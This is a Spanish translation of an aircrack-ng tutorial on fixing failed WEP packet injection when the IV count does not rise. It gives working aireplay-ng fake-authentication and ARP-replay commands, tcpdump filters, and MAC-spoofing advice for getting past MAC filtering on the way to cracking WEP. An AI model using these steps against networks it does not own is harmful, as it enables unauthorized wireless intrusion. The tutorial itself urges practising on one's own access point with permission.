Version: 1.06 Mayo 23, 2007
By: darkAudax
Última revisión de la traducción: 17 de Julio de 2007

Un problema frecuente se da cuando los paquetes están siendo inyectados pero los IVs no se incrementan. Este tutorial proporciona una guia para determinar la causa del problema y como arreglarla.

Experimenta con tu punto de acceso wireless para familiarizarte con estas ideas y técnicas. Si no tienes un punto de acceso, recuerda que necesitas permiso del propietario antes de intentar jugar con él.

Por favor enviame cualquier sugerencia, positiva o negativa. Cualquier problema o idea será bienvenida.

Esta solución parte de los siguientes supuestos:

• Estás usando drivers parcheados para la inyección. Puedes snifar paquetes con Wireshark para confirmar que verdaderamente estás inyectando.
• Has colocado la interface en modo monitor y en el mismo canal que el punto de acceso. Ejecuta “iwconfig” y comprueba que la interface se encuentra en modo monitor, en el canal correcto (frecuencia), velocidad correcta, etc. En modo monitor, el “Access Point” es la dirección MAC de tu tarjeta wireless. La salida será algo similar a esto:

ath0      IEEE 802.11b  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2   
          Bit Rate=2 Mb/s   Tx-Power:15 dBm   Sensitivity=0/3 
          Retry:off   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

• Has ejecutado airodump-ng en el mismo canal que el punto de acceso; usando la opción “-c <número de canal>”.
• Estás físicamente suficientemente cerca del AP para enviar y recibir paquetes. Recuerda que recibir paquetes del punto de acceso no significa que seas capaz de enviarlos al AP. La fuerza de la señal de las tarjetas wireless es habitualmente menor que la de los AP. Por lo que has de estar físicamente cerca del AP para enviar y recibir paquetes.
• Estás usando v0.7 de aircrack-ng. Si usas otra versión distinta, algunas opciones de los comandos puede que se escriban de forma diferente.

Aegurate de que cumples todos estos requisitos, si no no funcionará lo aquí expuesto. En los siguientes ejemplos, necesitarás cambiar ath0 por el nombre de la interface de tu tarjeta wireless.

Para que un punto de acceso acepte un paquete, la dirección MAC del cliente debe estar asociada. Si la dirección MAC del cliente desde el que estás inyectando no está asociada el AP ignorará el paquete y enviará un paquete de “DeAutenticación”. En esta situación, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados.

La falta de asociación con el punto de acceso es la razón más habitual por la que falla la inyección. OK, miremos cuales son los síntomas para confirmar que esto está ocurriendo. Despues expondremos las posibles soluciones.

Aquí está la pista típica.

Comando de inyección ejecutado (o similar):

aireplay-ng -3 -b <bssid> -h <dirección MAC cliente> ath0
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0

Entonces la respuesta obtenida es:

Saving ARP requests in replay_arp-0123-104950.cap
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Read 17915 packets (got 3 ARP requests), sent 5854 packets...

Presta atención a los mensajes “deauth/disassoc”. Quieren decir que la dirección MAC “00:0F:B5:41:22:17” no está correctamente asociada con el punto de acceso. En este caso, los paquetes inyectados están siendo ignorados.

Otra forma de confirmar que la falta de asociación está causando problemas es ejecutar tcpdump y mirar los paquetes. Inicia otra shell mientras estás inyectando y escribe

tcpdump -n -e -s0 -vvv -i ath0

Aquí está el típico mensaje de error de tcpdump que estás buscando:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0f:b5:46:11:19 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station

Presta atención que el punto de acceso (00:14:6c:7e:40:80) le está diciendo a la tarjeta (00:0f:b5:46:11:19) que no está asociada. Lo que significa, que el AP no procesará o no aceptará los paquetes inyectados.

Si solo quieres seleccionar los paquetes “DeAuth” con tcpdump puedes usar: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”.

Ahora que conoces el problema, ¿como se resuelve? Hay dos formas básicas de resolver el problema:

• Asociar la dirección MAC del cliente que estás usando para inyectar paquetes al punto de acceso.
• Reenviar paquetes de un cliente que esté correctamente asociado con el AP.

Para asociarse a un AP, usa la autenticación falsa:

aireplay-ng -1 0 -e <SSID> -a <bssid> -h <dirección MACcliente> ath0
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Si ha ido bien verás algo como esto:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

U otra variación para algunos puntos de acceso rebeldes:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

• 6000 - Reautenticación cada 6000 segundos. Es el periodo en el que se enviarán paquetes de “sigo aquí” o “keep alive”.
• -o 1 - Envia solo un tipo de paquetes de cada vez. Por defecto está configurado para que envie múltiples y esto puede confundir a algunos APs.
• -q 10 - Envia los paquetes “sigo aquí” cada 10 segundos.

Si funciona bien aparecerá algo como esto:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# etc...

En este punto, puedes abrir otra shell y probar la inyección. Si tienes suerte estarás bien asociado y ahora verás aumentar los IVs. No pierdas de vista la ventana con la falsa autenticación para asegurarte de que estás asociado.

• Hay ocasiones en que a pesar de decirte que estás asociado y que veas que te dice que está enviando paquetes “keep alive”, la asociación no está funcionando. Tendrás que parar (con Ctrl+C) y reiniciar (flecha arriba y enter) el comando.

• Con algunos drivers, la dirección MAC de la tarjeta wireless tiene que ser la misma que la dirección MAC con la que quieres inyectar. Por lo que si no te funciona la autenticación falsa prueba a cambiar la dirección MAC por la misma con la que estás intentando la autenticación. Un programa para hacer esto es macchanger. Busca en los foros o en internet para ver con detalle como hacer esto. Por ejemplo en este manual está explicado de forma detallada

• Algunos puntos de acceso están configurados para permitir únicamente la asociación de una/s direcciones MAC determinadas (filtrado MAC). Si este es tu caso, no serás capaz de hacer una autenticación falsa, a no ser que conozcas la dirección MAC de un cliente que este incluido en la lista del AP. La ventaja de la siguiente técnica (ataque interactivo) es que evita este control.

Para averiguar si está activo el filtrado MAC, escribe el siguiente comando:

 tcpdump -n -vvv -s0 -e -i ath0 | grep -E "(RA:00:c0:ca:17:db:6a|Authentication|ssoc)"

Tendrás que cambiar “00:c0:ca:17:db:6a” por tu dirección MAC.

Cuando estás intentando hacer una falsa autenticación, deberías ver algo idéntico al contenido del archivo wep.open.system.authentication.cap que acompaña al software aircrack-ng. Puedes ver este archivo con tcpdump escribiendo…

 tcpdump -n -e -vvv -r wep.open.system.authentication.cap

Basicamente, deberás ver dos paquetes de autenticación y dos paquetes de asociación. Si tu captura real no contiene estos cuatro paquetes significa que está fallando la falsa autenticación y que por lo tanto existe un filtro de MACs en el AP. En esta situación, hay que usar una dirección MAC de un cliente ya asociado con el AP. Para hacer esto, debes cambiar tambien la dirección MAC de tu tarjeta wireless. Mira este manual.

• Una dirección MAC es algo como esto: 00:09:5B:EC:EE:F2. La primera mitad (00:09:5B) de cada dirección MAC sirve para identificar al fabricante. La segunda parte (EC:EE:F2) es única para cada dispositivo. Algunos puntos de acceso ignorarán direcciones MAC inválidas. Por lo tanto asegurate de usar un código de una dirección MAC que corresponda a algún fabricante. La lista de MACs y sus fabricantes la puedes ver encontrar aquí.

Aquí puedes ver un ejemplo de un fallo de autenticación:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación.

Una alternativa es reenviar los paquetes de un cliente que ya este asociado al AP. Así no es necesario usar la autenticación falsa.

Tambien puedes usar el ataque de reenvio interactivo de paquetes. Estamos buscando un paquete arp que provenga de un cliente wireless ya asociado y que se dirija al punto de acceso. Sabemos que este paquete arp será reenviado por el AP con un IV. Los paquetes ARP que vienen de un cliente normalmente son de 68 bytes de largo con una MAC de redifusión (broadcast).

Por lo que podemos crear el comando:

aireplay-ng -2 -a <bssid> -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 <interface>

Donde: -d FF:FF:FF:FF:FF:FF - broadcast - m 68 - longitud mínima del paquete es 68 - n 68 - longitud máxima del paquete es 68 - t 1 - el paquete va dirigido al punto de acceso - f 0 - el paquete no ha sido enviado por el punto de acceso

Así veremos cada paquete capturado antes de decidir si lo usamos. Asegurate de que el paquete que selecciones es de un cliente wireless que está asociado con el punto de acceso.

Aquí puedes ver un ejemploe:

aireplay-ng -2 -a 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 ath0

Read 202 packets...

      Size: 68, FromDS: 0, ToDS: 1 (WEP)

           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:0F:B5:AB:CB:9D

      0x0000:  0841 d400 0014 6c7e 4080 000f b5ab cb9d  .A....l~@.......
      0x0010:  ffff ffff ffff a00f 010a dd00 a795 2871  ..............(q
      0x0020:  59e5 935b b75f bf9d 718b d5d7 919e 2d45  Y..[._..q.....-E
      0x0030:  a89b 22b3 2c70 b3c3 03b0 8481 5787 88ce  ..".,p......W...
      0x0040:  b199 6479                                ..dy

Use this packet ? y

Saving chosen packet in replay_src-0124-120102.cap
You should also start airodump-ng to capture replies.

Como puedes imaginar, este comando hizo que se empezasen a generar IVs. Como es habitual, tendrás que ejecutar airodump-ng y aircrack-ng.

• Algunos puntos de acceso tienen una opción para aislar a los clientes wireless (llamada al menos en los Linksys “AP isolation”). Si esta opción está activada entonces todas las técnicas descritas aquí no funcionaran. La única solución es usar las técnicas descritas en otro de los manuales de darkAudax: Spanish: Como crackear WEP con un cliente